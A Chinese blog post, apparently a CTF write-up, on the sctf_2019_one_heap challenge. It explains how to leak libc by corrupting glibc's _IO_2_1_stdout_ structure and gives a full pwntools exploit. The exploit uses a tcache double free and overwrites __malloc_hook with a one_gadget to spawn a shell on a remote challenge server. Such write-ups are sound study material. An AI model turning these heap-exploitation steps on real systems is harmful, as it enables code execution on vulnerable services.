利用 _IO_2_1_stdout_ 泄露信息

_IO_2_1_stdout leak

IO_2_1_stdout_ 结构体

​ 如果能够改结构体中的 flags0x0FBAD1887(原来的值 0xfbad2887) 、改小 _IO_write_base ,那么之后一次在调用 puts 函数时会打印出 _IO_write_base_IO_write_ptr 之间的数据,从而获得 libc 地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//部分源码
//_flags
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
//......

struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};


sctf_2019_one_heap

思路

  • 题目只有 adddelete 这两个功能,没有 show 功能去 leakdelete 中存在 UAF 可以进行 double free,并且题目使用的 libc 版本是较老一点的 libc-2.27 ,利用 tcache 进行 double free 的时候不会有 key 字段的检测,就可以进行任意地址堆块的分配,劫持 __malloc_hookone_gadget

  • 没有 show 功能但是需要 leak 的话就要用到上面提到的 _IO_2_1_stdout_ 这个结构体,利用 unsorted bin 中指向 main_arena 内部的指针降低爆破到 _IO_2_1_stdout_ 的概率,再利用上面的方法改结构体内的值实现泄露。

  • 为了获取到 unsorted bin 要利用 double free ,使得当前大小 tcachecount 变为 -1 ,由于无符号数所以会分配到 unsorted bin (mp_.tcache_count 的数据类型是 size_t)

  • delete 功能有限,要多申请一个堆块用来改 tcachenext 指针

  • 最后利用 realloc_hook 调栈帧

exp

​ 基本参考抄的其他 wp:https://www.freesion.com/article/7253509267/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#coding:utf8
from pwn import *

libc = ELF('./libc-2.27.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
malloc_hook_s = libc.symbols['__malloc_hook']
realloc_s = libc.sym['realloc']
one_gadget_s = 0x10a38c

def add(size,content):
r.sendlineafter('Your choice:','1')
r.sendlineafter('Input the size:',str(size))
r.sendafter('Input the content:',content)

def delete():
r.sendlineafter('Your choice:','2')

def exploit():
#0
add(0x7F,'a'*0x7F)
#double free
delete()
delete()
#1
add(0x10,'b'*0x10)
delete()
#2
add(0x20,'c'*0x20)

#通过三次add,使得0x90的tcache的count变为-1
add(0x7F,'\n')
add(0x7F,'\n')
add(0x7F,'\n')
#获得unsorted bin
delete()
#从unsorted bin里切割
#低字节覆盖,使得tcache bin的next指针有一定几率(1/16)指向_IO_2_1_stdout_
add(0x20,p16((0x5 << 0xC) + (_IO_2_1_stdout_s & 0xFFF)) + '\n')

#取出0x90的第一个tcache chunk,同时,修改unsorted bin的size,使得chunk1被包含进来
add(0x7F,'a'*0x20 + p64(0) + p64(0x81) + '\n')

#申请到IO_2_1_stdout结构体内部,低位覆盖_IO_write_base,使得puts时泄露出信息
add(0x7F,p64(0x0FBAD1887) +p64(0)*3 + p8(0x58) + '\n')

libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x3E82A0
'''
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
'''
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget_s
realloc_addr = libc_base + realloc_s
print('libc_base:'+hex(libc_base))

#从unsorted bin里切割,尾部与chunk1的tcache bin重合,从而我们可以修改next指针
add(0x70,'a'*0x60 + p64(malloc_hook_addr - 0x8) + '\n')
add(0x10,'b'*0x10)

#申请到malloc_hook-0x8处
add(0x10,p64(one_gadget_addr) + p64(realloc_addr+4)) #realloc 调栈帧

#get shell
add(0,'')
while True:
try:
global r
#r = process('./sctf_2019_one_heap')
r = remote("node4.buuoj.cn",28968)
exploit()
r.interactive()
except:
r.close()
作者

0wl

发布于

2022-02-22

更新于

2022-03-01

许可协议

评论